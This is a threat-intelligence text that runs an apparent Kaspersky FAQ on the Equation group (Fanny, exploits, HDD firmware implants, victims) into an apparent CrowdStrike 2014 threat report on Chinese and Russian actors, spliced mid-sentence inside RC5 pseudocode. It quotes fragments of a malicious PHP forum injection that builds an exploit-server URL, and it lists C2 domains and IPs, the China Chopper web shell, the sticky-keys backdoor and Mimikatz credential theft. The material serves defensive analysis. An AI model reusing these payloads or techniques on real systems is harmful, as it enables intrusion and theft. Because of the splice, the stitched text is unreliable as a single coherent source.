Fanny used two zero-day exploits, which were later uncovered during the discovery of Stuxnet. To spread, it used the Stuxnet LNK exploit and USB sticks. For escalation of privilege, Fanny used a vulnerability patched by the Microsoft bulletin MS09-025, which from 2009 was also used in one of the early versions of Stuxnet. LNK exploit as used by Fanny TLP: White For any inquiries, please contact intelreports@kaspersky.com s important to point out that these two exploits were used in Fanny before they were integrated into Stuxnet, indicating the EQUATION group had access to these zero-days before the Stuxnet group. Actually, the similar type of usage of both exploits together in different computer worms, at around the same time, indicates that the EQUATION group and the Stuxnet developers are either the same or working closely together. Fanny malware diagram The main purpose of Fanny appears to have been the mapping of air-gapped networks. For this, it used a unique USB-based command and control mechanism. When a USB stick is infected, Fanny creates a hidden storage area on the stick. If it infects a computer without an internet connection, it will collect basic system information and save it onto the hidden area of the stick. Later, when a stick containing hidden information is plugged into an internet-connected computer infected by Fanny, the data will be scooped up from the hidden area and sent to the C&C. If the attackers want to run commands on the air-gapped networks, they can save these commands in the hidden area of the USB stick. When the stick is plugged into the air-gapped computer, Fanny will recognize the commands and TLP: White For any inquiries, please contact intelreports@kaspersky.com execute them. This effectively allowed the Equation group to run commands inside air-gapped networks through the use of infected USB sticks, and also map the infrastructure of such networks. The Fanny C&C server is currently sinkholed by Kaspersky Lab. The victims map looks as follows: 2014-2015 Fanny sinkhole statistics What exploits does the Equation group use? We observed the following exploits used by the Equation group in their malware: Windows Kernel EoP exploit used in Stuxnet 2009 (atempsvc.ocx), fixed with MS09-025. (CVE unknown). TTF exploit fixed with MS12-034 (possibly CVE-2012-0159). TTF exploit fixed with MS13-081 (possibly CVE-2013-3894). LNK vulnerability as used by Stuxnet. (CVE-2010-2568). CVE-2013-3918 (Internet Explorer). TLP: White For any inquiries, please contact intelreports@kaspersky.com CVE-2012-1723 (Java). CVE-2012-4681 (Java). At least four of these were used as zero-days by the EQUATION group. In addition to these, we observed the use of unknown exploits, possibly zero-day, against Firefox 17, as used in the TOR Browser. An interesting case is the use of CVE-2013-3918, which was originally used by the APTgroup behind the 2009 Aurora attack. The EQUATION group captured their exploit and repurposed it to target government users in Afghanistan. How do victims get infected by EQUATION group malware? The Equation group relies on multiple techniques to infect their victims. These include: Self-replicating (worm) code Fanny Physical media, CD-ROMs USB sticks + exploits Web-based exploits The attacks that use physical media (CD-ROMs) are particularly interesting because they indicate the use of a technique known as interdiction , where the attackers intercept shipped goods and replace them with Trojanized versions. One such incident involved targeting participants at a scientific conference in Houston. Upon returning home, some of the participants received by mail a copy of the conference proceedings, together with a slideshow including various conference materials. The compromised CD-ROM used autorun.inf to execute an installer that began by attempting to escalate privileges using two known EQUATION group exploits. Next, it attempted to run the group s DOUBLEFANTASY implant and install it onto the victim s machine. The exact method by which these CDs were interdicted is unknown. We do not believe the conference organizers did this on purpose. At the same time, the super-rare DOUBLEFANTASY malware, together with its installer with two zero-day exploits, don t end up on a CD by accident. Another example is a Trojanized Oracle installation CD that contains an EQUATIONLASER Trojan dropper alongside the Oracle installer. TLP: White For any inquiries, please contact intelreports@kaspersky.com Here s a look at a typical infection cycle: Infection lifecycle: from web exploit to EquationDrug and GrayFish What is the most sophisticated thing about the EQUATION group? Although the implementation of their malware systems is incredibly complex, surpassing even Regin in sophistication, there is one aspect of the EQUATION group s attack technologies that exceeds anything we have ever seen before. This is the ability to infect the hard drive firmware. We were able to recover two HDD firmware reprogramming modules from the EQUATIONDRUG and GRAYFISH platforms. The EQUATIONDRUG HDD firmware reprogramming module has version 3.0.1 while the GRAYFISH reprogramming module has version 4.2.0. These were compiled in 2010 and 2013, respectively, if we are to trust the PE timestamps. TLP: White For any inquiries, please contact intelreports@kaspersky.com The EQUATION group HDD firmware reprogramming plugin has the internal ID 80AA, which is a unique number in the groups plugin ID table. This allows other plugins to identify and use it as required. Both 32- and 64-bit versions of the plugin were found. The plugin supports two main functions: reprogramming the HDD firmware with a custom payload from the EQUATION group, and providing an API into a set of hidden sectors (or data storage) of the hard drive. This achieves several important things: Extreme persistence that survives disk formatting and OS reinstall. An invisible, persistent storage hidden inside the hard drive. The plugin version 3 has the ability to reprogram six drive categories Maxtor Maxtor STM Maxtor STM , WDC WD , SAMSUNG , WDC WD , additional vendor specific checks used (spawns two subclasses) The plugin version 4 is more complex and can reprogram 12 drive categories Plugin version 4 infection capabilities table TLP: White For any inquiries, please contact intelreports@kaspersky.com The classes supported are: WDC WD , additional vendor specific checks used Maxtor STM SEAGATE ST , SAMSUNG , WDC WD , additional vendor specific checks used , Hitachi ExcelStor Maxtor STM , C300 , Corsair Mushkin additional vendor specific checks used , , +additional checks , TOSHIBA M +checks , The main function to reflash the HDD firmware receives an external payload, which can be compressed by LZMA. The disk is targeted by a specific serial number and reprogrammed by a series of ATA commands. For example, in the case of Seagate drives, we see a chain of commands: FLUSH CACHE (E7) DOWNLOAD MICROCODE (92) IDENTIFY DEVICE (EC) WRITE LOG EXT (3F). Depending on the reflashing request, there might be some unclear data manipulations written to the drive using WRITE LOG EXT (3F). For WD drives, there is a sub-routine searching for ARM NOP opcodes in read data, and then used further in following writes. Overall, the plugin uses a lot of undocumented, vendor-specific ATA commands, for the drives mentioned above as well as all the others. The EQUATION group s HDD firmware reprogramming module is extremely rare. During our research, we ve only identified a few victims who were targeted by this module. This indicates that it is probably only kept for the most valuable victims or for some very unusual circumstances. TLP: White For any inquiries, please contact intelreports@kaspersky.com Have you observed any artifacts indicating who is behind the EQUATION group? With threat actor groups as skilled as the Equation team, mistakes are rare. Nevertheless, they do happen. Some of the keywords forgotten in the modules that we analyzed include: SKYHOOKCHOW prkMtx unique mutex used by the Equation group s exploitation library PrivLib as in SFInstall SFConfig URInstall Performing UR-specific post-install... implant from Timeout waiting for the canInstallNow event from the implant-specific EXE! STEALTHFIGHTER (VTT/82055898/STEALTHFIGHTER/2008-10-16/14:59:06.229-04:00) DRINKPARSLEY (Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00) STRAITACID (VTT/82053737/STRAITACID/2008-09-03/10:44:56.361-04:00) LUTEUSOBSTOS (VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00) STRAITSHOOTER STRAITSHOOTER30.exe DESERTWINTER c:\desert~2\desert~3\objfre_w2K_x86\i386\DesertWinterDriver.pdb GROK standalonegrok_2.1.1.1 RMGREE5 c:\users\rmgree5\... TLP: White For any inquiries, please contact intelreports@kaspersky.com Interestingly, the VTT strings above appear to contain a timestamp and an infection counter. Between four events 10 October 2008, 30th of July 2008, 3rd of September 2008 and 30 of September 2008 we count an average of 2000 infections per month, if the serial number increases linearly. This could indicate that the EQUATION group hits about 2000 users per month, although s possible some uninteresting victims may be disinfected. Note: T he codename GROK appears in several documents published by Der Spiegel, where a keylogger is mentioned. Our analysis indicates EQUATIONGROUP GROK plugin is indeed a keylogger on steroids that can perform many other functions. 12. How many victims are there? The victims of the Equation group were observed in more than 30 countries, including Iran, Russia, Syria, Afghanistan, Kazakhstan, Belgium, Somalia, Hong Kong, Libya, United Arab Emirates, Iraq, Nigeria, Ecuador, Mexico, Malaysia, United States, Sudan, Lebanon, Palestine, France, Germany, Singapore, Qatar, Pakistan, Yemen, Mali, Switzerland, Bangladesh, South Africa, Philippines, United Kingdom, India and Brazil. TLP: White For any inquiries, please contact intelreports@kaspersky.com Victims generally fall into the following categories: Governments and diplomatic institutions Telecommunication Aerospace Energy Nuclear research Oil and gas Military Nanotechnology Islamic activists and scholars Mass media Transportation Financial institutions Companies developing cryptographic technologies Combining statistics from KSN and our sinkhole, we counted more than 500 victims worldwide. A lot of infections have been observed on servers, often domain controllers, data warehouses, website hosting and other types of servers. At the same time, the infections have a self-destruct mechanism, so we can assume there were probably tens of thousands of infections around the world throughout the history of the Equation group s operations. As an interesting note, some of the patients zero of Stuxnet seem to have been infected by the EQUATION group. It is quite possible that the EQUATION group malware was used to deliver the STUXNET payload. TLP: White For any inquiries, please contact intelreports@kaspersky.com Have you seen any non-Windows malware from the Equation group? All the malware we have collected so far is designed to work on Microsoft Windows operating system. However, there are signs that non-Windows malware does exist. For instance, one of the sinkholed C&C domains is currently receiving connections from a large pool of victims in China that appear to be Mac OS X computers (based on the user-agent). The malware callbacks are consistent with the DOUBLEFANTASY schema, which normally injects into the system browser (for instance, Internet Explorer on Windows). The callbacks for the suspected Mac OS X versions have the following user agents: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10 This leads us to believe that a Mac OS X version of DOUBLEFANTASY also exists. Additionally, we observed that one of the malicious forum injections, in the form of a PHP script, takes special precautions to show a different type of HTML code to Apple iPhone visitors. Unlike other cases, such as visitors from Jordan, which does not get targeted, iPhone visitors are redirected to the exploit server, suggesting the ability to infect iPhones as well. TLP: White For any inquiries, please contact intelreports@kaspersky.com What C&C infrastructure do the Equation group implants use? The Equation group uses a vast C&C infrastructure that includes more than 300 domains and more than 100 servers. The servers are hosted in multiple countries, including the US, UK, Italy, Germany, Netherlands, Panama, Costa Rica, Malaysia, Colombia and Czech Republic. All C&C domains appear to have been registered through the same two major registrars, using Domains By Proxy to mask the registrant s information. Kaspersky Lab is currently sinkholing a couple dozen of the 300 C&C servers. How do victims get selected for infection by the EQUATION group? The EQUATION group sometimes selects its victims with surgical precision. When precision is not possible, the victims are targeted by a validator (DOUBLEFANTASY) implant and subsequently disinfected if they do not appear to interesting to the attackers. Here are some web-based targeting examples from the Equation group: On March 2, 2013, a Kaspersky Lab user browsing an online forum was attacked with an exploit from one of the Equation group s exploitation servers: 2013-03-02 technicalconsumerreports[.]com/modular/assemble.php?params=YoGKKdExT[snip] cS5kS5t0bvGQyB8miDu+Agn detected HEUR:Exploit.Script.Generic The attack was unsuccessful as it was caught by our product and the user was protected. The attack was targeting Firefox 17 (TOR Browser), using an unknown exploit that we have not recovered. Looking further, we identified a few other known Equation servers used in similar attacks even earlier: 2012-12-11 technology-revealed[.]com/diagram/navigate.html?overlay=AL[snip]OISn6sI1&sn=d1[SNIP]dd TLP: White For any inquiries, please contact intelreports@kaspersky.com These attacks were delivered in several ways for example, while the user visited a number of Islamic Jihadist discussion forums, or via advertisements on popular websites in the Middle East. The forums in question appear to have been compromised by a specific PHP script that exploited only authenticated visitors. We were able to obtain one of these PHP scripts embedded in a discussion forum: Malicious PHP script injected into hacked discussion forums This PHP script provides a multitude of interesting information about the attacks. It was first designed to work as part of vBulletin, a commercial forum platform. It specifically checks if the visitor s username MD5 matches two values: 84b8026b3f5e6dcfb29e82e0b0b0f386 MD5 of Unregistered e6d290a03b70cfa5d4451da444bdea39 unknown MD5 In practice, this means that only logged-in users will be exploited. Next, the PHP exploitation script checks if the user comes from a specific address range: if(preg_match('/^(64.38.3.50|195.28.|94.102.|91.93.|41.130.|212.118.|7 9.173.|85.159.|94.249.|86.108.)/',IPADDRESS)){return "";} TLP: White For any inquiries, please contact intelreports@kaspersky.com Converting the ranges to their respective countries (except for 64.38.3.50, which is the only specific IP mentioned) we get the following TOP 3 countries that will NOT be exploited: 1. Jordan 2. Turkey 3. Egypt This means that the attackers have taken special care not to infect users visiting from certain ISPs in these countries. If the visitors are from any other IP range, the PHP script constructs an exploitation URL which includes the logged in vBulletin forum name: $htt="http://technology-revealed[.]com/expand/order.php?design=ABRSRgDQlkUALAxGANDrRu QQofe6Y0THS8E3hfBC+M+k7CdBmTH5gAkLvgV8EV3ULW+7KoUjbJ4UOFU6SVOtgEK7zTgPPNoDH z4vKecDGe7OzDmJlvwKvc5uYg/I/5x9"; $htt=$htt."&sn=".bin2hex(substr($u,0,14)); The vBulletin forum username is stored in hex, as the parameter to the exploit site. The exploit site can choose to hit the visitor with an exploit depending on the username, meaning that the attackers are taking great care to infect only very specific targets on these forums. Interestingly, the PHP script produces a different HTML page for iPhone visitors: if (preg_match('/iPhone/',$_SERVER['HTTP_USER_AGENT'])){$scroll='yes';} This indicates that the exploit server is probably aware of iPhone visitors and can deliver exploits for them as well; otherwise, the exploitation URL can simply be removed for these visitors. Most recently, the attackers used Java exploits, delivered through a specific server to visitors from the Middle East via advertising networks on popular websites. Here s an example: standardsandpraiserepurpose[.]com/login?qq=5eaae4d[SNIP]0563&rr=1&h=cc593a6bfd8e1e 26c2734173f0ef75be3527a205 TLP: White For any inquiries, please contact intelreports@kaspersky.com These 2013-2014 attacks make use of a new domain, standardsandpraiserepurpose[.]com. Interesting to point out the similarity in the URL construction, with parameters rr=1 , followed by a value resembling a SHA1 hash, possibly the specific targeted username. Other collected values include the following: 0044c9bfeaac9a51e77b921e3295dcd91ce3956a 06cf1af1d018cf4b0b3e6cfffca3fbb8c4cd362e 3ef06b6fac44a2a3cbf4b8a557495f36c72c4aa6 5b1efb3dbf50e0460bc3d2ea74ed2bebf768f4f7 930d7ed2bdce9b513ebecd3a38041b709f5c2990 e9537a36a035b08121539fd5d5dcda9fb6336423 Considering the length and format, one might suspect they are a SHA1 hash, however, unlike the forum MD5 hashes, we couldn t break any of them. The exploits from standardsandpraiserepurpose[.]com targeted several Kaspersky Lab users and were all unsuccessful. The server attempts three different Java exploits, containing the same payload stored as info.dat inside the Java archive. These are simple downloaders that contain shellcode to download and execute the next stage from the C&C: Unfortunately, we weren t able to download a copy of the next stage as the URL was already dead at the time of checking, or else it is only served and built specifically for victims at specific IPs. Another unusual aspect of targeting included multiple infection attempts against users of a certain satellite internet provider in Afghanistan. TLP: White For any inquiries, please contact intelreports@kaspersky.com What kind of encryption algorithms are used by the EQUATION group? The Equation group uses the RC5 and RC6 encryption algorithms quite extensively throughout their creations. They also use simple XOR, substitution tables, RC4 and AES. RC5 and RC6 are two encryption algorithms designed by Ronald Rivest in 1994 and 1998. They are very similar to each other, with RC6 introducing an additional multiplication in the cypher to make it more resistant. Both cyphers use the same key setup mechanism and the same magical constants named P and Q. The RC5/6 implementation from Equation group s malware is particularly interesting and deserves special attention because of its specifics. Encryption-related code in a DoubleFantasy sample In the screenshot above, one can observe the main loop of a RC6 key setup subroutine extracted from one of the Equation group samples. TLP: White For any inquiries, please contact intelreports@kaspersky.com This is how it looks in pseudocode: *(_DWORD *)buf = 0xB7E15163; i = 1; *(_DWORD *)(buf + 4 * i) = *(_DWORD *)(buf + 4 * i 4) 0x61C88647; ++i; while ( i < 44 ); One immediately notices the constants 0xB7E15163 and 0x61C88647. Here s what a normal RC6 key setup code looks like: void RC5_SETUP(unsigned char *K) /* secret input key K[0...b-1] */ { WORD i, j, k, u=w/8, A, B, L[c]; /* Initialize L, then S, then mix key into S */ for (i=b-1,L[c-1]=0; i!=-1; i--) L[i/u] = (L[i/u]<<8)+K[i]; for (S[0]=0xB7E15163,i=1; i where chopper is an attacker-selected password of sorts. This simple one-line script gives an attacker access to a webserver from which they can deploy privilege-escalation tools, move laterally, or deploy more complex scripts to interact with databases on the webserver. While PlugX usage has increased significantly over the past year among China-based actors, HURRICANE PANDA s usage of the tool was notable for two reasons. First, when configuring PlugX, the attacker is given the option of using up to four DNS servers of their choosing. Knowing this, HURRICANE PANDA discovered a unique service offered by California-based Internet service provider Hurricane Electric. By abusing Hurricane Electric s free DNS service, the actors were able to resolve popular domains like www.pinterest.com, adobe.com, and github.com. Using legitimate domains presumably would fool incident responders into believing the communications were benign. HURRICANE PANDA leveraged PlugX s custom DNS feature to use the free DNS hosting services provided by Hurricane Electric to resolve these domains to PlugX C2 nodes instead of their legitimate IP addresses. Hurricane Electric quickly took action to prevent the abuse that allowed DNS resolution for legitimate domains. CrowdStrike Global Threat Intel Report two thousand fourteen Know Adversary Screenshot of PlugX User Interface The other unique C2 resolution method employed by HURRICANE PANDA was the use of Google Code as a host for an encoded string containing the real PlugX C2 node as shown below. Google Projects Used by HURRICANE PANDA to Serve Encoded C2 Servers Despite this method of C2 server distribution being available in PlugX since at least 2012, its usage is not common. In this case, the PlugX malware will request one of the Google Code projects, search the page for a string delimited with DZKS and DZJS , and decode CrowdStrike Global Threat Intel Report Know Adversary two thousand fourteen the string. The decoded string contains the protocol over which to communicate, as well as the IP address and port pair. When the above strings are decoded, the following IP addresses are used as PlugX C2 servers: 223.29.248.9 202.181.133.237 61.78.34.179 203.135.134.243 Post-Exploitation and Exfiltration After HURRICANE PANDA has established a foothold on a victim network, they then seek legitimate credentials via tools such as Windows Credential Viewer, Windows Credential Editor, or Mimikatz. Once credentials have been obtained, the actor tends to use these for access to the network instead of interacting with their RAT, thus reducing their footprint and allowing them to appear as legitimate VPN users. If credentials cannot be obtained, HURRICANE PANDA will often rely on RDP. First, they will replace the sticky keys file (using the sethc.exe hack16) with a copy of their preferred Chinese version of cmd.exe on the victim machine. Then they will access the victim computer over RDP, and, when presented with a login screen, IT will invoke the sticky keys mechanism and be presented with an administrative command shell. Furthermore, PlugX contains a reverse-RDP tunneling capability that HURRICANE PANDA has employed. Exfiltration by HURRICANE PANDA follows a simple pattern often performed by China-based adversaries. First, files of interest are 16 http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/ compressed and password protected using RAR. Next, they stage the files at a convenient location. Finally, they exfiltrate the files from the network via FTP. two thousand fourteen CrowdStrike Global Threat Intel Report Know Adversary Possible Connections to AURORA PANDA CrowdStrike Intelligence is currently evaluating possible connections between HURRICANE PANDA and AURORA PANDA. There is currently no definitive link, but indicators of compromise linked to AURORA PANDA have been discovered on networks also compromised by HURRICANE PANDA. Other connections include: similar toolsets, access to zero-day exploits, and possible infrastructure connections. HURRICANE PANDA is among the more capable China-based adversaries, and run-ins with this actor should be treated with the utmost concern. GOTHIC PANDA GOTHIC PANDA is another advanced Chinese adversary that CrowdStrike Intelligence tracked throughout 2014. This adversary has been observed targeting a number of high-profile victims in key sectors including financial, technology, NGO/international, and energy. In early May 2014, CrowdStrike observed this adversary mounting a campaign in which spear phishing messages were used to direct targets to landing pages that would exploit a zero-day Use-AfterFree vulnerability in Internet Explorer. The following is a brief timeline of important events in this campaign: Date Event 24 April 2014 Earliest observed resolution for subdomain in attack 25 April 2014 Phishing messages sent to targets 26 April 2014 Microsoft issues advisory for vulnerability CVE-2014-1776 01 May 2014 Out-of-band patch issued by Microsoft CrowdStrike Global Threat Intel Report Know Adversary two thousand fourteen In addition to targeting of individuals within targeted organizations, phishing messages from this adversary were observed being sent to mailing lists for specialized topics such as high-performance computing, weather metadata software, and pre-medical programs at educational institutions. An observed phishing message is show below: Victims in these campaigns were infected with the implant known by the anti-virus name Pirpi, which has been seen in use since 2009. Pirpi provides the adversary with a traditional set of RAT features that allow the adversary to exfiltrate and deploy files, along with remote shell access to a compromised system. GOTHIC PANDA is considered by CrowdStrike Intelligence to be one of the more advanced adversaries tracked. Over time, the Pirpi implant has improved to feature more aggressive anti-analysis techniques, and the network communication with control servers has improved to hinder network-based detection. While investigating GOTHIC PANDA, CrowdStrike Intelligence identified a strong code overlap between the Pirpi implant and CrowdStrike Global Threat Intel Report Know Adversary two thousand fourteen a defunct malware known by the anti-virus name Dreammon (or DreamClick). This malware possesses a feature set more in line with adclicker malware rather than targeted activity. As adclicker malware is more common with criminal adversaries, it has been postulated that if the same adversary behind Dreammon is behind Pirpi, this adversary s initial motives may have been financially driven. Overview of Russian Threat Actors Although the Chinese calendar predicted that 2014 would be the Year of the Horse, in many respects 2014 has been the Year of the Bear in the cyber realm, with several high-profile Russia-based actors receiving public attention. The reported activity has included actors tracked by CrowdStrike as ENERGETIC BEAR, FANCY BEAR, and VENOMOUS BEAR, as well as other sets such as Sandworm, which uses the Black Energy toolset in targeted attacks, in contrast to its normal use as criminal malware. CrowdStrike also tracks other adversaries attributed to Russia under cryptonyms such as BERSERK BEAR, BOULDER BEAR, and the financial-crimemotivated actor MAGNETIC SPIDER. VENOMOUS BEAR, also known as Snake, Turla, and Oroborous, uses a set of implants that culminates in a sophisticated Windows-based rootkit that can leverage an encrypted Virtual File System (VFS) as a staging area for tools to deploy and data prepared for exfiltration. It also includes implants for other platforms such as Linux that can be used to operate command-and-control infrastructure. External reporting indicates a targeting bias toward entities in the government sector, along with the use of zero-day exploits. These TTPs, along with the maturity of the attacker s toolset, indicate that this is a highly sophisticated adversary. FANCY BEAR is CrowdStrike s name for an adversary also known as Sofacy. Although the tools used by this actor are not as complex as those employed by VENOMOUS BEAR, they share a common targeting focus on government and military entities, with a particular CrowdStrike Global Threat Intel Report Know Adversary two thousand fourteen emphasis on Russia near abroad regions such as Eastern Europe. As well as implants for Windows, Linux, and mobile operating systems, FANCY BEAR employs credential phishing attacks, spoofing legitimate sites to harvest the details of users of interest. Proactive analysis during 2014 revealed another Russian actor that has not encountered public exposure, yet appears to have been tasked by Russian state interests. BERSERK BEAR has conducted operations from 2004 through to the present day, primarily aimed at collecting intelligence but has also provided capability in support of offensive operations in parallel to the Russia/Georgia conflict in August 2008. ENERGETIC BEAR has been tracked by CrowdStrike since 2012. The adversary initially focused on targets in the energy sector, but more recently had branched out to attempt to compromise financial, industrial, and commercial organizations. This corresponded with a shift from primarily using SWC attack vectors to targeted email attacks. Analysis of ENERGETIC BEAR s post-exploitation activity revealed the use of custom tools for credential harvesting, network enumeration, and interaction with industrial automation equipment. FANCY BEAR In the second half of 2014, CrowdStrike Intelligence analyzed the targeted attack activity of a particularly interesting Russian actor named FANCY BEAR. The campaigns conducted by this actor target high-profile military and government entities in a variety of countries, most notably political institutions of former Soviet nations as well as Eastern European countries, NATO institutions, and organizations of western countries. Technical indicators, such as the resource locales and C2 domain registrant information, exhibit references to a Russian-speaking adversary. In addition, the targeting is consistent with strategic interests of the Russian Federation. CrowdStrike Global Threat Intel Report Know Adversary two thousand fourteen Targeting of high-profile entities requires mature and versatile technical means. FANCY BEAR exhibits a consistent level of technical sophistication with respect to its tools, and the actor is characterized by a thorough preparation of attacks and required infrastructure. Their main implant, called X-Agent, is a sophisticated RAT that exhibits a modular architecture and a multi-year development history. As a consequence, the adversary can combine the necessary implant functionality on a per-target basis, spanning multiple operating systems and mobile platforms. A remarkable feature only seen with some of the well-engineered and mature targeted attack malware is the following: If required, the implant can switch the carrier protocol for its command-andcontrol channel ranging from HTTP over email to removable media. The latter is specifically suited for target environments that do not have direct network connectivity to a C2 node and instead rely on periodic use of USB removable media to bridge air gaps. In addition, recent incidents involved heavily obfuscated malware including code flow obfuscation, likely another step taken in order to hinder analysis efforts. All of these underline a clear targeted attack mission. 2015 Predictions Understand how the evolving capabilities of these advanced adversaries will affect you in 2015. CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen Predicting what will happen in 2015 is a challenge, as unforeseen events will inevitably occur and new TTPs from adversaries across the motivational spectrum will continue to shape the threat environment. Before exploring what may be coming in 2015, a brief look back at the predictions for 2014 is in order. Last year, CrowdStrike made a number of predictions about the 2014 threat landscape, many of which came to fruition: North Korean Activity CrowdStrike Intelligence predicted that North Korea might use its cyber operations to project power during 2014. This prediction came to fruition at the end of 2014 when a North Korean adversary attacked Sony because of one of the studio s movies that North Korea perceived as an act of war. Windows XP End of Life Targeted attackers did use exploits such CVE-2014-1776 to target out-of-life Windows XP machines. This continues to be a significant risk, as the existence of legacy Windows XP machines continues to expose an attack surface. hird-Party Targeting 2013 saw actors targeting third-party vendors offering DNS, social media, and content management services in order to attack customers of those services. As one example, CrowdStrike observed a number of attacks by the HURRICANE PANDA adversary against DNS and hosting providers in 2014; these attacks were highly likely used to ultimately target those providers customers. andbox-Aware Malware The use of sandbox-aware malware was not new to 2014, but adversaries did make significant use of malware variants capable of detecting if they were being run in sandbox environments. These techniques ranged from detection of sandboxes through system and network artifacts, detection of user activity, and even prompting user interaction as a countermeasure. CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen se of High-Level Languages The 2014 yearly report noted a downward trend in the use of low-level languages like C and a growing trend in the use of high-level languages like C# and Python. During 2014, CrowdStrike did observe several adversaries such as VICEROY TIGER making heavy use of a malware variant that primarily leveraged Python script. ctivity in the Physical World Physical world conflict often leads to related cyber operations, and 2014 was no different. A number of conflicts in the physical space such as those in the South China Sea, Ukraine, and the Middle East all resulted in related cyber operations by targeted intrusion adversaries in China, Russia, and Iran, as well as nationalist and hacktivist actors. 2015 will undoubtedly hold many surprises and new developments in the realm of computer security. The following section contains estimative judgments about what may be likely trends or occurrences in the next year. Research and Development Research and development during one year can often set the expectations and direction of the next. With this in mind, the CrowdStrike Intelligence team carefully observed patterns and trends in the security research community. Based on the trends of 2014, the following estimates were developed: It is expected that Let s Encrypt, the first free certificate authority with a pre-installed root certificate in major browsers, will launch in 2015. This service will offer very simple command line provisioning of certificates for use in HTTPS. As a result of the ease of use and availability, it is likely that an increasing amount of Internet traffic will be encrypted. As HTTP traffic becomes less common, it is more likely to be suspect and subject to closer inspection. This opens the possibility that more adversaries may look to leverage SSL certificates for command and control. Additionally, Content Security Policy (CSP) for webpages means that XSS-attacks will become more complicated to mount. In 2015, it is expected that CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen two-factor authentication will be more widely deployed across enterprise and cloud services, which will hopefully hamper the effectiveness of credential and banking phishing operations. Adversaries are constantly advancing their capabilities; overseas, cryptography and its application has continued to dominate the technology news, beginning with revelations from the Snowden leaks. CrowdStrike assesses it is possible that adversaries will deploy more sophisticated encryption and key agreement schemes to hamper interception by security professionals and intelligence services. In 2015, a number of sandboxes using hypervisor introspection will become available, both commercially and in open source. Introspection allows a sandbox to instrument a virtual machine through the hypervisor; this provides additional stealth to the sandbox, allowing it to avoid detection. It remains to be seen whether malware authors will completely cease their efforts to detect traditional sandboxing solution and/or whether they will try to subvert introspection-based sandboxes. Given the difficulty in detection, and the speed at which new technologies are adopted, it is likely that adversaries will continue to detect traditional sandboxes in 2015, with more advanced adversaries exploring techniques to identify or evade introspection-based systems. Embedded devices, regardless of whether they are home routers or industrial control systems, will be increasingly targeted. One of the primary factors impacting this belief is the increasing pace of vulnerability disclosures in the embedded space and in the underlying software they leverage. The increasing prevalence and popularity of Internet of Things (IoT) devices, discussed in more detail below, is another factor in this likely targeting. This targeting will likely occur across a variety of threat actors. In 2014, we saw the compromise of home router technology used to build an embedded proxy layer used to mask the identity of the attacker. CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen Internet of Things (IoT) devices are still in their infancy and the concept of IoT has not yet become widely adopted or even available to the average end user. There are, however, a large number of devices being sold already that would fit under the IoT umbrella, even if they do not make use of the IoT communication standards. While targeted attacks against IoT devices are unlikely at this time, the potential to abuse IoT devices for amplified DDOS as well as disrupting IoT networks through DOS ing of central control infrastructure might well be possible. Outlook for China-Based Adversaries China is, by now, well known for conducting cyber espionage campaigns focused on accessing intelligence about intellectual property, mergers and acquisitions, and technologies highlighted in its Five-Year plans. Targeting these technologies and strategic business information allow its domestic companies to rapidly make leap frog developments, and to benefit from favorable bargaining positions, thus elevating them to become global leaders. This behavior is expected to continue in 2015, as will continued targeting of foreign government entities in an attempt to access information related to the global strategy and plans of these countries. China is expected to continue to leverage this espionage as a means to conduct intelligence collection to support its aspirations to further push the envelope on its territorial claims. This is particularly true in the South China Sea (SCS) conflicts with Vietnam and the Philippines, and the Senkaku/Diaoyu island dispute with Japan. China has already undertaken substantial construction of manmade islands in the SCS to begin projecting its power, and as its Navy continues to grow, it will only seek to push further beyond its current boundaries. China is aggressively moving forward with the design and implementation of its own aircraft carriers, which will no doubt have an impact in this regional issue, allowing the PRC to project force and intimidate its neighbors. CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen Taiwan will continue to play a very important role in the potential conflicts to come, not only as a testing ground for malware, but as the main focus for expanding Chinese territorial claims. The PRC views Taiwan as an inalienable part of China that will eventually be reunited for the greater good of both peoples and therefore places it above other territorial conflicts. Taiwan s recent shift towards a decidedly less-Beijing-friendly, DPP-led government is of great concern to China and will be a major factor in how China uses technology to facilitate its political maneuverings. Taiwan has historically been penetrated by PRC intelligence services at all levels, which makes cyber one of the first visible indicators of PRC intentions regarding Taiwan. China has also made significant headway on projecting its soft power abroad via multiple billion-dollar investments, particularly in the sectors of communications and transportation infrastructure. For years, China has been making inroads in Africa to provide the vast majority of the continent s telecommunication systems, but only recently have some of the more sinister intentions been brought to light. In December 2014, approximately 77 Chinese nationals were found to be running a sophisticated command center out of a house in Nairobi, Kenya, which appeared to be capable of targeting the main communication systems in the capital. A building with multiple large satellites that appears to be annexed to the Chinese embassy in Image of Alleged SIGINT Dishes at Chinese Embassy Annex Paris was also recently reported on and believed to be connected to the 3PLA s 8th Bureau, Unit 61046, which is responsible for SIGINT collection on western Europe. CrowdStrike Global Threat Intel Report Looking Forward two thousand fourteen There has also been a significant amount of investment poured into transportation projects, particularly high-speed rail (HSR) lines, in multiple countries. China has already planned to merge its two top train makers into a HSR juggernaut capable of building massive rail lines around the world. To this end, China has submitted bids for massive rail projects in Nigeria, and nearly won (this was subsequently canceled) another project in Mexico. China has also suggested massive lines between Beijing and Moscow and constructing a line between Delhi and Chennai in India. Beijing also remains interested in proposals for HSRs in Britain and California, and has already made headway on construction of a HungarySerbian HSR that will connect Belgrade to Budapest. In total, the projects proposed by China would give it control of more than 40,000 km, giving it significant control over the world transportation routes. It seems fairly likely that, given China previous use of espionage against foreign companies (which it has used to gain advantages in competitive bidding and mergers & acquisitions), there is a substantial motivation for China to follow suit in the coming year as it looks to secure its position as the global leader in HSR construction. Joint Plan of Action Could Possibly Drive Iranian Cyber Attacks The Iranian Joint Plan of Action (JPOA), its delay, and its ultimate desired path by politicians to negotiate a Comprehensive Plan of Action (CPOA) are preeminent issues in the global press and political circles. The JPOA is a temporary agreement made between Iran and an intergovernmental negotiating body consisting of China, France, the Russian Federation, the Un ited Kingdom, the 